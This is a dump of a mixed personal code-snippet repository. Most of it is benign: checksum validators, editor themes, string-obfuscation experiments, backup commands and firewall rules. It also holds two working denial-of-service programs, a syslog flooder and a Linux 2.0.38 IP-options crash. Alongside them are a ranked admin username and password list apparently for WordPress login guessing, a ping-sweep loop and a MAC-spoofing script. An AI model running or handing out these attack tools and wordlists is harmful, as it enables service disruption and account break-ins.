8 | 9 | 10 | -------------------------------------------------------------------------------- /perl/ping.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl 2 | 3 | $prefix="192.168.26."; 4 | $start="16"; 5 | $stop="254"; 6 | 7 | while(1) 8 | { 9 | 10 | for($i=$start;$i<=$stop;$i++) 11 | { 12 | $ip=$prefix.$i; 13 | system("ping -s 2 -c 1 -w 1 $ip > /dev/null 2>&1 & "); 14 | } 15 | sleep(7); 16 | } 17 | -------------------------------------------------------------------------------- /ofi-labs-x2/webkit/senchatouchqtwebkit/senchakitchensink.desktop: -------------------------------------------------------------------------------- 1 | [Desktop Entry] 2 | Encoding=UTF-8 3 | Version=1.0 4 | Type=Application 5 | Terminal=false 6 | Name=senchakitchensink 7 | Exec=/opt/usr/bin/senchakitchensink 8 | Icon=senchakitchensink 9 | X-Window-Icon= 10 | X-HildonDesk-ShowInToolbar=true 11 | X-Osso-Type=application/x-executable 12 | -------------------------------------------------------------------------------- /linux/installed_packages.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Lists installed packages and outputs to file. 4 | dpkg --get-selections > /home/fille/scripts/installed_packages.txt 5 | # In order to install packages in case of system failiure - run the following: 6 | # dpkg --set-selections < installed_packages.txt 7 | # apt-get autoremove 8 | # apt-get dselect-upgrade 9 | 10 | -------------------------------------------------------------------------------- /ofi-labs-x2/javascript/christmasblaster/manifest.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "Christmas Blaster", 3 | "description": "Spread Christmas decoration while the snow falls.", 4 | "version": "1", 5 | "app": { 6 | "launch": { 7 | "local_path": "index.html" 8 | } 9 | }, 10 | "icons": { 11 | "16": "16.png", 12 | "128": "128.png" 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /ofi-labs-x2/javascript/underwater/README: -------------------------------------------------------------------------------- 1 | This example can't be run from a local file system. Thus, host the files 2 | in a simple web server (lighttpd is recommended) and launch the browser 3 | pointing to the web server. 4 | 5 | The reason is to satisfy the same origin policy. See section 4.8.11.13 6 | about "Security with canvas elements" in the WHATWG HTML Living Standard. 7 | 8 | -------------------------------------------------------------------------------- /ofi-labs-x2/javascript/crossfading/README: -------------------------------------------------------------------------------- 1 | This example can't be run from a local file system. Thus, host the files 2 | in a simple web server (lighttpd is recommended) and launch the browser 3 | pointing to the web server. 4 | 5 | The reason is to satisfy the same origin policy. See section 4.8.11.13 6 | about "Security with canvas elements" in the WHATWG HTML Living Standard. 7 | 8 | -------------------------------------------------------------------------------- /php/Luhn/luhn1.php: -------------------------------------------------------------------------------- 1 | = 0; $i--) { 10 | $sum += $sumTable[$flip++ & 0x1][$number[$i]]; 11 | } 12 | return $sum % 10 === 0; 13 | } 14 | -------------------------------------------------------------------------------- /ofi-labs-x2/webkit/foldervis/bootstrap.js: -------------------------------------------------------------------------------- 1 | crawler.progress.connect(function(count) { 2 | document.getElementById('progress').textContent = 'Crawling ' + count + ' directories...'; 3 | }); 4 | 5 | crawler.finished.connect(function() { 6 | document.getElementById('progress').style.display = 'none'; 7 | appendTreemap(document.getElementById('map'), JSON.parse(crawler.tree)); 8 | }); 9 | -------------------------------------------------------------------------------- /ofi-labs-x2/webkit/senchatouchqtwebkit/html/readme.txt: -------------------------------------------------------------------------------- 1 | This directory needs to contain the Sencha Touch kitchensink demo. 2 | 3 | - Get the Sencha Touch package: http://www.sencha.com/products/touch/ 4 | - Unpack the following files into this directory: 5 | sencha-touch.js 6 | examples/kitchensink/* 7 | resources/css/sencha-touch.css 8 | (If you like, add the Audio and Video files) -------------------------------------------------------------------------------- /php/Luhn/luhn2.php: -------------------------------------------------------------------------------- 1 | $d) { 9 | $card_number_checksum .= $i %2 !== 0 ? $d * 2 : $d; 10 | } 11 | 12 | return array_sum(str_split($card_number_checksum)) % 10 === 0; 13 | } 14 | -------------------------------------------------------------------------------- /qt/firewall/qiptables/qiptables.pro: -------------------------------------------------------------------------------- 1 | # ------------------------------------------------- 2 | # Project created by QtCreator 2010-02-19T14:48:55 3 | # ------------------------------------------------- 4 | TARGET = qiptables 5 | TEMPLATE = app 6 | SOURCES += main.cpp \ 7 | mainwindow.cpp \ 8 | frmconfig.cpp 9 | HEADERS += mainwindow.h \ 10 | frmconfig.h 11 | FORMS += mainwindow.ui \ 12 | frmconfig.ui 13 | -------------------------------------------------------------------------------- /cpp/GetHexRepresentation.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | std::string GetHexRepresentation(const unsigned char *Bytes, size_t Length) 6 | { 7 | std::ostringstream os; 8 | os.fill('0'); 9 | os << std::hex; 10 | for(const unsigned char *ptr = Bytes; ptr < Bytes + Length; ptr++) 11 | os << std::setw(2) << (unsigned int)*ptr; 12 | return os.str(); 13 | } 14 | -------------------------------------------------------------------------------- /exploits_denial/nestea.diff: -------------------------------------------------------------------------------- 1 | --- ip_fragment.c.old Thu Apr 16 12:25:34 1998 2 | +++ ip_fragment.c Thu Apr 16 12:29:02 1998 3 | @@ -375,7 +375,7 @@ 4 | fp = qp->fragments; 5 | while(fp != NULL) 6 | { 7 | - if (fp->len < 0 || count+fp->len > skb->len) 8 | + if (fp->len < 0 || fp->offset+qp->ihlen+fp->len > skb->len) 9 | { 10 | NETDEBUG(printk("Invalid fragment list: Fragment over size.\n")); 11 | ip_free(qp); 12 | -------------------------------------------------------------------------------- /cpp/constexpr-string/12.h: -------------------------------------------------------------------------------- 1 | #include 2 | using namespace std; 3 | 4 | 5 | template 6 | auto operator"" _my() -> const char (&)[sizeof...(args) + 1] 7 | { 8 | static const char data[] = { (args ^ 0x55)..., 0 }; 9 | return data; 10 | } 11 | 12 | int main() 13 | { 14 | string s("my_string"_my); 15 | for_each(begin(s), end(s), [](auto &c){ c ^= 0x55; }); 16 | cout < 2 | 3 | index.html 4 | codemirror.js 5 | codemirror.css 6 | javascript.js 7 | default.css 8 | cobalt.css 9 | elegant.css 10 | neat.css 11 | night.css 12 | 13 | 14 | -------------------------------------------------------------------------------- /js/code_melli/checkcard.js: -------------------------------------------------------------------------------- 1 | function checkCartDigit(code) 2 | { 3 | 4 | var L=code.length; 5 | if(L<16 || parseInt(code.substr(1,10),10)==0 || parseInt(code.substr(10,6),10)==0) return false; 6 | var c=parseInt(code.substr(15,1),10); 7 | var s=0; 8 | var k,d; 9 | for(var i=0;i<16;i++) 10 | { 11 | k=(i%2==0) ? 2 :1; 12 | d=parseInt(code.substr(i,1),10)*k; 13 | s+=(d >9) ? d-9 :d; 14 | } 15 | return ((s%10)==0); 16 | } 17 | -------------------------------------------------------------------------------- /js/code_melli/codemeli.js: -------------------------------------------------------------------------------- 1 | function checkCodeMeli(code) 2 | { 3 | 4 | var L=code.length; 5 | 6 | if(L<8 || parseInt(code,10)==0) return false; 7 | code=('0000'+code).substr(L+4-10); 8 | if(parseInt(code.substr(3,6),10)==0) return false; 9 | var c=parseInt(code.substr(9,1),10); 10 | var s=0; 11 | for(var i=0;i<9;i++) 12 | s+=parseInt(code.substr(i,1),10)*(10-i); 13 | s=s%11; 14 | return (s<2 && c==s) || (s>=2 && c==(11-s)); 15 | return true; 16 | } 17 | -------------------------------------------------------------------------------- /python/teh1337/pascal.py: -------------------------------------------------------------------------------- 1 | last_line = [1] 2 | line_len = 1 3 | for i in range(input("How many lines you want!?: ")): 4 | if i == 0: 5 | print last_line 6 | continue 7 | line_len += 1 8 | new_line = [] 9 | for a in range(line_len): 10 | if a == 0 or a == line_len - 1: 11 | new_line.append(1) 12 | continue 13 | new_line.append(last_line[a] + last_line[a-1]) 14 | print new_line 15 | last_line = new_line 16 | -------------------------------------------------------------------------------- /ofi-labs-x2/webkit/codemirror/neat.css: -------------------------------------------------------------------------------- 1 | .cm-s-neat span.cm-comment { color: #a86; } 2 | .cm-s-neat span.cm-keyword { font-weight: bold; color: blue; } 3 | .cm-s-neat span.cm-string { color: #a22; } 4 | .cm-s-neat span.cm-builtin { font-weight: bold; color: #077; } 5 | .cm-s-neat span.cm-special { font-weight: bold; color: #0aa; } 6 | .cm-s-neat span.cm-variable { color: black; } 7 | .cm-s-neat span.cm-number, .cm-s-neat span.cm-atom { color: #3a3; } 8 | .cm-s-neat span.cm-meta {color: #555;} 9 | -------------------------------------------------------------------------------- /cpp/constexpr-string/9.h: -------------------------------------------------------------------------------- 1 | //schurr_cpp11_tools_for_class_authors.pdf 2 | 3 | class str_const { // constexpr string 4 | private: 5 | const char* const p_; 6 | const std::size_t sz_; 7 | public: 8 | template 9 | constexpr str_const(const char(&a)[N]) : // ctor 10 | p_(a), sz_(N-1) {} 11 | constexpr char operator[](std::size_t n) { // [] 12 | return n < sz_ ? p_[n] : 13 | throw std::out_of_range(""); 14 | } 15 | constexpr std::size_t size() { return sz_; } // size() 16 | }; 17 | -------------------------------------------------------------------------------- /ofi-labs-x2/demo/marblebox/README: -------------------------------------------------------------------------------- 1 | 2 | 3 | Check-out Chipmunk physics engine: 4 | 5 | svn checkout http://chipmunk-physics.googlecode.com/svn/tags/Chipmunk-5.2.0 chipmunk 6 | 7 | (5.2.0 is used instead of trunk, because this example is known to work with 8 | that version and not necessarily any future versions). 9 | 10 | To improve the performance on embedded platform, force the use of 'float' instead of 'double': 11 | 12 | patch chipmunk/include/chipmunk/chipmunk_types.h force-float.patch 13 | -------------------------------------------------------------------------------- /ofi-labs-x2/demo/marblenet/README: -------------------------------------------------------------------------------- 1 | 2 | 3 | Check-out Chipmunk physics engine: 4 | 5 | svn checkout http://chipmunk-physics.googlecode.com/svn/tags/Chipmunk-5.2.0 chipmunk 6 | 7 | (5.2.0 is used instead of trunk, because this example is known to work with 8 | that version and not necessarily any future versions). 9 | 10 | To improve the performance on embedded platform, force the use of 'float' instead of 'double': 11 | 12 | patch chipmunk/include/chipmunk/chipmunk_types.h force-float.patch 13 | -------------------------------------------------------------------------------- /js/code_melli/shenasa_meli.js: -------------------------------------------------------------------------------- 1 | function checkCodeMeli(code) 2 | { 3 | 4 | var L=code.length; 5 | 6 | if(L<11 || parseInt(code,10)==0) return false; 7 | 8 | if(parseInt(code.substr(3,6),10)==0) return false; 9 | var c=parseInt(code.substr(10,1),10); 10 | var d=parseInt(code.substr(9,1),10)+2; 11 | var z=new Array(29,27,23,19,17); 12 | var s=0; 13 | for(var i=0;i<10;i++) 14 | s+=(d+parseInt(code.substr(i,1),10))*z[i%5]; 15 | s=s%11;if(s==10) s=0; 16 | return (c==s); 17 | 18 | } 19 | -------------------------------------------------------------------------------- /ofi-labs-x2/webkit/composition/composition.qrc: -------------------------------------------------------------------------------- 1 | 2 | 3 | index.html 4 | leaves.css 5 | leaves.js 6 | images/backgroundLeaves.jpg 7 | images/realLeaf1.png 8 | images/realLeaf3.png 9 | images/realLeaf2.png 10 | images/realLeaf4.png 11 | images/textBackground.png 12 | 13 | 14 | -------------------------------------------------------------------------------- /python/teh1337/random_useragent.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import random 3 | 4 | def get_random_useragent(): 5 | base_agent = "Mozilla/%.1f (Windows; U; Windows NT 5.1; en-US; rv:%.1f.%.1f) Gecko/%d0%d Firefox/%.1f.%.1f" 6 | return base_agent % ((random.random() + 5), 7 | (random.random() + random.randint(1, 8)), random.random(), 8 | random.randint(2000, 2100), random.randint(92215, 99999), 9 | (random.random() + random.randint(3, 9)), random.random()) 10 | -------------------------------------------------------------------------------- /linux/virtual-mac/crazy-mac2.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | ## crazy-mac2.sh 3 | ## Usage : crazy-mac2.sh 4 | MACLIST=($(cat ${2})) 5 | 6 | # This is for testing, comment this and uncomment out the other for loop 7 | # if this one works the other should also. 8 | for i in $(seq ${1}); do 9 | echo "mac${i} : ${MACLIST[${i}-1]}"; done 10 | 11 | #for i in $(seq ${1}); do 12 | # ip link add link wlan0 mac${i} address ${MACLIST[${i}-1]} type macvlan && \ 13 | # ifconfig mac${i} up && \ 14 | # dhclient mac${i}; 15 | #done 16 | 17 | unset MACLIST 18 | -------------------------------------------------------------------------------- /ofi-labs-x2/webkit/codemirror/elegant.css: -------------------------------------------------------------------------------- 1 | .cm-s-elegant span.cm-number, .cm-s-elegant span.cm-string, .cm-s-elegant span.cm-atom {color: #762;} 2 | .cm-s-elegant span.cm-comment {color: #262;font-style: italic;} 3 | .cm-s-elegant span.cm-meta {color: #555;font-style: italic;} 4 | .cm-s-elegant span.cm-variable {color: black;} 5 | .cm-s-elegant span.cm-variable-2 {color: #b11;} 6 | .cm-s-elegant span.cm-qualifier {color: #555;} 7 | .cm-s-elegant span.cm-keyword {color: #730;} 8 | .cm-s-elegant span.cm-builtin {color: #30a;} 9 | .cm-s-elegant span.cm-error {background-color: #fdd;} 10 | -------------------------------------------------------------------------------- /cpp/constexpr-string/13.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | using namespace std; 4 | 5 | string operator"" _enc(const char* str, size_t len) 6 | { 7 | string ans(str, len); 8 | for(size_t i=0; i 2 | #include 3 | using namespace std; 4 | 5 | string operator"" _enc(const char* str, size_t len) 6 | { 7 | string ans(str, len); 8 | for(size_t i=0; i 2 | #include 3 | #include 4 | 5 | template 6 | constexpr std::array encrypt(char const (&s)[N], char secret = 0x55) { 7 | std::array result{}; 8 | for (unsigned int i = 0; i < N; ++i) result[i] = s[i] ^ secret; 9 | return result; 10 | } 11 | 12 | template 13 | std::string decrypt(std::array s, char secret = 0x55) { 14 | std::string result{}; 15 | result.reserve(N); 16 | for (unsigned int i = 0; i < N; ++i) result.push_back(s[i] ^ secret); 17 | return result; 18 | } 19 | 20 | #define S(x) decrypt(encrypt(x)) 21 | 22 | int main() { 23 | std::cout << S("Hello World!") << std::endl; 24 | } 25 | 26 | -------------------------------------------------------------------------------- /qt/Qtziptest.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | int main(int argc, char *argv[]) 7 | { 8 | QCoreApplication a(argc, argv); 9 | 10 | QFile inFile("in.txt"); 11 | inFile.open(QIODevice::ReadOnly); 12 | QByteArray ba1 = inFile.readAll(); 13 | qDebug() << ba1.size(); 14 | QByteArray ba2 = qCompress(ba1,9); 15 | qDebug() << ba2.size(); 16 | QByteArray ba3 = qUncompress(ba2); 17 | qDebug() << ba3.size(); 18 | 19 | ba2.remove(0,4); 20 | 21 | QFile outFile("out.gz"); 22 | outFile.open(QIODevice::WriteOnly | QIODevice::Unbuffered); 23 | outFile.write(ba2); 24 | 25 | //a.exit(0); 26 | return a.exec(); 27 | } 28 | -------------------------------------------------------------------------------- /cpp/readproc/pid_age.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | float pid_age(pid_t pid) 5 | { 6 | proc_t proc_info; 7 | int seconds_since_boot = uptime(0,0); 8 | if (!get_proc_stats(pid, &proc_info)) return 0.0; 9 | 10 | // readproc.h comment lies about what proc_t.start_time is. It's 11 | // actually expressed in Hertz ticks since boot 12 | 13 | int seconds_since_1970 = time(NULL); 14 | int time_of_boot = seconds_since_1970 - seconds_since_boot; 15 | long t = seconds_since_boot - (unsigned long)(proc_info.start_time / Hertz); 16 | 17 | int delta = t; 18 | float days = ((float) delta / (float)(60*60*24)); 19 | return days; 20 | } 21 | -------------------------------------------------------------------------------- /ofi-labs-x2/README: -------------------------------------------------------------------------------- 1 | X2 is a collection of experimental code and other useful examples. 2 | 3 | This program is free software; you can redistribute it and/or 4 | modify it under the terms of the GNU General Public License as 5 | published by the Free Software Foundation; either version 2 of 6 | the License, or (at your option) any later version. 7 | 8 | This program is distributed in the hope that it will be useful, 9 | but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | GNU General Public License for more details. 12 | 13 | You should have received a copy of the GNU General Public License 14 | along with this program. If not, see . 15 | -------------------------------------------------------------------------------- /cpp/constexpr-string/1.h: -------------------------------------------------------------------------------- 1 | #define MACRO_GET_1(str, i) \ 2 | (sizeof(str) > (i) ? str[(i)] : 0) 3 | 4 | #define MACRO_GET_4(str, i) \ 5 | MACRO_GET_1(str, i+0), \ 6 | MACRO_GET_1(str, i+1), \ 7 | MACRO_GET_1(str, i+2), \ 8 | MACRO_GET_1(str, i+3) 9 | 10 | #define MACRO_GET_16(str, i) \ 11 | MACRO_GET_4(str, i+0), \ 12 | MACRO_GET_4(str, i+4), \ 13 | MACRO_GET_4(str, i+8), \ 14 | MACRO_GET_4(str, i+12) 15 | 16 | #define MACRO_GET_64(str, i) \ 17 | MACRO_GET_16(str, i+0), \ 18 | MACRO_GET_16(str, i+16), \ 19 | MACRO_GET_16(str, i+32), \ 20 | MACRO_GET_16(str, i+48) 21 | 22 | #define MACRO_GET_STR(str) MACRO_GET_64(str, 0), 0 //guard for longer strings 23 | 24 | //using seq = sequence; 25 | -------------------------------------------------------------------------------- /python/teh1337/fortune_grabber.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # 3 | # Fortune Cookie Saying Grabber 4 | # By James Penguin (brandon.smith@studiobebop.net) 5 | # 6 | import BeautifulSoup 7 | import urllib2 8 | 9 | def get_fortune(): 10 | try: 11 | page = urllib2.urlopen("http://www.fortunecookiemessage.com/") 12 | except: 13 | return "No fortune for you." 14 | soup = BeautifulSoup.BeautifulSoup(page) 15 | for tag in soup.findAll("a"): 16 | if not tag.has_key("href") or not tag["href"].startswith("cookie"): 17 | continue 18 | if not len(tag.contents): 19 | return "No fortune for you." 20 | return tag.contents[0] 21 | return "No fortune for you." 22 | 23 | if __name__ == '__main__': 24 | print get_fortune() 25 | -------------------------------------------------------------------------------- /mysql/mysqldump.sh: -------------------------------------------------------------------------------- 1 | mysqldump --opt -u [uname] -p[pass] [dbname] > [backupfile.sql] 2 | 3 | mysqldump -u root -p db_name > db_name.sql 4 | mysqldump -u root -p --all-databases > alldb_backup.sql 5 | 6 | 7 | mysqldump -u [uname] -p[pass] [dbname] | gzip -9 > [backupfile.sql.gz] 8 | 9 | gunzip [backupfile.sql.gz] 10 | 11 | mysql -u [uname] -p[pass] [db_to_restore] < [backupfile.sql] 12 | 13 | mysql -u root -p db_name < db_name.sql 14 | 15 | gunzip < [backupfile.sql.gz] | mysql -u [uname] -p[pass] [dbname] 16 | 17 | mysqlimport -u [uname] -p[pass] [dbname] [backupfile.sql] 18 | 19 | 20 | 21 | Backup all MySQL Databases to individual files: (http://www.commandlinefu.com/commands/view/2916/backup-all-mysql-databases-to-individual-files) 22 | 23 | for I in $(mysql -e 'show databases' -s --skip-column-names); do mysqldump $I | gzip > "$I.sql.gz"; done 24 | 25 | -------------------------------------------------------------------------------- /ofi-labs-x2/webkit/senchatouchqtwebkit/senchakitchensink.pro: -------------------------------------------------------------------------------- 1 | # Add files and directories to ship with the application 2 | # by adapting the examples below. 3 | kitchensink.source = html 4 | DEPLOYMENTFOLDERS = kitchensink 5 | 6 | # Avoid auto screen rotation 7 | # ORIENTATIONLOCK # 8 | #DEFINES += ORIENTATIONLOCK 9 | 10 | # Needs to be defined for Symbian 11 | # NETWORKACCESS # 12 | DEFINES += NETWORKACCESS 13 | 14 | # TARGETUID3 # 15 | symbian:TARGET.UID3 = 0xE1234321 16 | 17 | # If your application uses the Qt Mobility libraries, uncomment 18 | # the following lines and add the respective components to the 19 | # MOBILITY variable. 20 | # CONFIG += mobility 21 | # MOBILITY += 22 | 23 | QT += webkit 24 | 25 | SOURCES += main.cpp 26 | 27 | # Please do not modify the following two lines. Required for deployment. 28 | include(deployment.pri) 29 | qtcAddDeployment() 30 | -------------------------------------------------------------------------------- /exploits_denial/sysphear.c: -------------------------------------------------------------------------------- 1 | /* members.xoom.com/i0wnu - coded by Mixter 2 | * This nice little syslog DoS can be used 3 | * to mess up EVERYONES terminal, I quote syslog.conf: 4 | * # Everybody gets emergency messages, plus log them on another 5 | * # machine. 6 | * *.emerg * 7 | * :) this eats about 2MB/minute of hd space, and 2MB/minute 8 | * of bandwidth if your victim is using a loghost. 9 | * Use this only if this is the last way out to get your shell canceled!:P 10 | */ 11 | 12 | #include 13 | #include 14 | 15 | int 16 | main (int a, char **b) 17 | { 18 | strcpy (b[0], "1z_0wn3d"); 19 | while (1) 20 | { 21 | syslog (0, "|"); 22 | syslog (0, "/"); 23 | syslog (0, "-"); 24 | syslog (0, "\\"); 25 | syslog (0, "|"); 26 | syslog (0, "/"); 27 | syslog (0, "-"); 28 | syslog (0, "\\"); 29 | } 30 | return 0; 31 | } 32 | -------------------------------------------------------------------------------- /ofi-labs-x2/webkit/codemirror/default.css: -------------------------------------------------------------------------------- 1 | .cm-s-default span.cm-keyword {color: #708;} 2 | .cm-s-default span.cm-atom {color: #219;} 3 | .cm-s-default span.cm-number {color: #164;} 4 | .cm-s-default span.cm-def {color: #00f;} 5 | .cm-s-default span.cm-variable {color: black;} 6 | .cm-s-default span.cm-variable-2 {color: #05a;} 7 | .cm-s-default span.cm-variable-3 {color: #0a5;} 8 | .cm-s-default span.cm-property {color: black;} 9 | .cm-s-default span.cm-operator {color: black;} 10 | .cm-s-default span.cm-comment {color: #a50;} 11 | .cm-s-default span.cm-string {color: #a11;} 12 | .cm-s-default span.cm-string-2 {color: #f50;} 13 | .cm-s-default span.cm-meta {color: #555;} 14 | .cm-s-default span.cm-error {color: #f00;} 15 | .cm-s-default span.cm-qualifier {color: #555;} 16 | .cm-s-default span.cm-builtin {color: #30a;} 17 | .cm-s-default span.cm-bracket {color: #cc7;} 18 | .cm-s-default span.cm-tag {color: #170;} 19 | .cm-s-default span.cm-attribute {color: #00c;} 20 | -------------------------------------------------------------------------------- /ofi-labs-x2/webkit/codemirror/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | CodeMirror 2: JavaScript mode 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 17 | 18 | 19 |
21 | 27 | 28 | 29 | -------------------------------------------------------------------------------- /qt/firewall/iptables/README: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Notes on firewall set up for laptop 5 | 6 | iptables.sh is an init script that lives in /etc/init.d 7 | Usage: iptables.sh {start|home|public|stop} 8 | Defaults to home firewall 9 | 10 | 11 | 12 | /etc/iptables 13 | 14 | symbolic link to default firewall - used by /etc/init.d/iptables.sh start 15 | lrwxrwxrwx 1 root root 17 2009-12-10 21:09 firewall-default.txt -> firewall-home.txt 16 | 17 | used by /etc/init.d/iptables.sh home 18 | -rw-r--r-- 1 root root 376 2009-12-10 06:47 firewall-home.txt 19 | 20 | used by /etc/init.d/iptables.sh public 21 | -rw-r--r-- 1 root root 429 2009-12-10 06:48 firewall-public.txt 22 | 23 | /etc/init.d/iptables.sh stop 24 | clears all firewall rools 25 | 26 | 27 | shell script to build firewall-home.txt 28 | -rwxr--r-- 1 root root 1180 2009-12-10 08:25 firewall-laptop-home.sh 29 | 30 | shell script to build firewall-public.txt 31 | -rwxr--r-- 1 root root 991 2009-12-10 08:54 firewall-laptop-public.sh 32 | 33 | 34 | 35 | -------------------------------------------------------------------------------- /linux/iptables-block2.sh: -------------------------------------------------------------------------------- 1 | 2 | ## eth1 is wan port on server ## 3 | /sbin/iptables -A INPUT -i eth1 -s 10.0.0.0/8 -j LOG --log-prefix "IP DROP SPOOF A: " 4 | /sbin/iptables -A INPUT -i eth1 -s 172.16.0.0/12 -j LOG --log-prefix "IP DROP SPOOF B: " 5 | /sbin/iptables -A INPUT -i eth1 -s 192.168.0.0/16 -j LOG --log-prefix "IP DROP SPOOF C: " 6 | /sbin/iptables -A INPUT -i eth1 -s 224.0.0.0/4 -j LOG --log-prefix "IP DROP MULTICAST D: " 7 | /sbin/iptables -A INPUT -i eth1 -s 240.0.0.0/5 -j LOG --log-prefix "IP DROP SPOOF E: " 8 | /sbin/iptables -A INPUT -i eth1 -d 127.0.0.0/8 -j LOG --log-prefix "IP DROP LOOPBACK: " 9 | 10 | /sbin/iptables -A INPUT -i eth1 -s 10.0.0.0/8 -j DROP 11 | /sbin/iptables -A INPUT -i eth1 -s 172.16.0.0/12 -j DROP 12 | /sbin/iptables -A INPUT -i eth1 -s 192.168.0.0/16 -j DROP 13 | /sbin/iptables -A INPUT -i eth1 -s 224.0.0.0/4 -j DROP 14 | /sbin/iptables -A INPUT -i eth1 -s 240.0.0.0/5 -j DROP 15 | /sbin/iptables -A INPUT -i eth1 -d 127.0.0.0/8 -j DROP 16 | 17 | /sbin/iptables-save > /root/my-iptables.rules 18 | -------------------------------------------------------------------------------- /qt/firewall/qiptables/frmconfig.h: -------------------------------------------------------------------------------- 1 | #ifndef FRMCONFIG_H 2 | #define FRMCONFIG_H 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | class MainWindow; 12 | 13 | namespace Ui { 14 | class frmConfig; 15 | } 16 | 17 | class frmConfig : public QDialog { 18 | Q_OBJECT 19 | public: 20 | frmConfig(QWidget *parent = 0); 21 | ~frmConfig(); 22 | 23 | QString getCurrentDefaultFirewallName(); 24 | int getCurrentDefaultFirewallType(); 25 | 26 | protected slots: 27 | void openFileDialog(); 28 | void editFile(); 29 | void btnSaveEnable(); 30 | void saveText(); 31 | void rebuildFirewall(); 32 | 33 | protected: 34 | void changeEvent(QEvent *e); 35 | void writeSettings(); 36 | void readSettings(); 37 | void openFileForEdit(QString filename); 38 | QString readFile(QString filename); 39 | 40 | private: 41 | Ui::frmConfig *ui; 42 | MainWindow *mainForm; 43 | }; 44 | 45 | #endif // FRMCONFIG_H 46 | -------------------------------------------------------------------------------- /etc/wp.txt: -------------------------------------------------------------------------------- 1 | admin 2 | test 3 | administrator 4 | support 5 | aaa 6 | rot 7 | qwerty 8 | admin1 9 | user 10 | adm 11 | manager 12 | sysadmin 13 | Admin 14 | 15 | 21144 [pwd] => admin 16 | 14377 [pwd] => 123456 17 | 14087 [pwd] => password 18 | 11366 [pwd] => 12345678 19 | 10409 [pwd] => 666666 20 | 9700 [pwd] => 111111 21 | 9336 [pwd] => 1234567 22 | 8902 [pwd] => qwerty 23 | 8269 [pwd] => 123321 24 | 8193 [pwd] => 12345 25 | 7752 [pwd] => 123123 26 | 7692 [pwd] => 159753 27 | 7364 [pwd] => 1234567890 28 | 6901 [pwd] => 0 29 | 6609 [pwd] => 123qwe 30 | 6179 [pwd] => 123654 31 | 6160 [pwd] => #@F#GBH$R^JNEBSRVWRVW 32 | 6067 [pwd] => 112233 33 | 5964 [pwd] => 159357 34 | 5392 [pwd] => $#GBERBSTGBR%GSERHBSR 35 | 5326 [pwd] => 12345qwe 36 | 5281 [pwd] => 1234 37 | 5141 [pwd] => 654321 38 | 5060 [pwd] => 147852 39 | 5058 [pwd] => %G#GBAEGBW%HBFGBFXGB 40 | 5024 [pwd] => RGA%BT%HBSERGAEEAHAEH 41 | 4963 [pwd] => 222222 42 | 4928 [pwd] => 7777777 43 | 4900 [pwd] => 147258 44 | 4898 [pwd] => 123 45 | 4861 [pwd] => aethAEHBAEGBAEGEE% 46 | 4838 [pwd] => 121212 47 | -------------------------------------------------------------------------------- /exploits_denial/linux/linux2038optionslength.c: -------------------------------------------------------------------------------- 1 | /* Exploit option length missing checks in Linux-2.0.38 2 | Andrea Arcangeli */ 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | main() 10 | { 11 | int sk; 12 | struct sockaddr_in sin; 13 | struct hostent * hostent; 14 | #define PAYLOAD_SIZE (0xffff-sizeof(struct udphdr)-sizeof(struct iphdr)) 15 | #define OPT_SIZE 1 16 | char payload[PAYLOAD_SIZE]; 17 | 18 | sk = socket(AF_INET, SOCK_DGRAM, 0); 19 | if (sk < 0) 20 | perror("socket"), exit(1); 21 | 22 | if (setsockopt(sk, SOL_IP, IP_OPTIONS, payload, OPT_SIZE) < 0) 23 | perror("setsockopt"), exit(1); 24 | 25 | bzero((char *)&sin, sizeof(sin)); 26 | 27 | sin.sin_port = htons(0); 28 | sin.sin_family = AF_INET; 29 | sin.sin_addr.s_addr = htonl(2130706433); 30 | 31 | if (connect(sk, (struct sockaddr *) &sin, sizeof(sin)) < 0) 32 | perror("connect"), exit(1); 33 | 34 | if (write(sk, payload, PAYLOAD_SIZE) < 0) 35 | perror("write"), exit(1); 36 | } 37 | -------------------------------------------------------------------------------- /cpp/constexpr-string/6.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | using namespace std; 4 | 5 | #include 6 | 7 | 8 | template 9 | inline string _TC() 10 | { 11 | string str; 12 | str += (char)(T ^ 0x55); 13 | return str; 14 | } 15 | 16 | template 17 | inline string _TC() 18 | { 19 | string str; 20 | if(T0 != 0) 21 | { 22 | str += _TC(); 23 | str += _TC(); 24 | } 25 | return str; 26 | } 27 | 28 | #define _TT(...) _TR(_TC<__VA_ARGS__>()) 29 | 30 | #define AT1(L,I) (I < sizeof(L)) ? L[I] : 0 31 | 32 | #define DECL(z, n, L) AT2(L,n), 33 | #define _TS(L) _TT(BOOST_PP_REPEAT(64, DECL, L) '\0') //sizeof(L) 34 | 35 | 36 | string _TR(string str) 37 | { 38 | for (size_t i = 0; i < str.size(); ++i) 39 | str[i] = str[i] ^ 0x55; 40 | return str; 41 | } 42 | 43 | int main() 44 | { 45 | cout << _TT('s', 'a', 'l', 'a', 'm') << '.' << endl; 46 | cout << _TS("salam") << '.' << endl; 47 | return 0; 48 | } 49 | -------------------------------------------------------------------------------- /cpp/constexpr-string/11.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | using namespace std; 4 | 5 | #include 6 | 7 | 8 | template 9 | inline string _TC() 10 | { 11 | string str; 12 | str += (char)(T ^ 0x55); 13 | return str; 14 | } 15 | 16 | template 17 | inline string _TC() 18 | { 19 | string str; 20 | if(T0 != 0) 21 | { 22 | str += _TC(); 23 | str += _TC(); 24 | } 25 | return str; 26 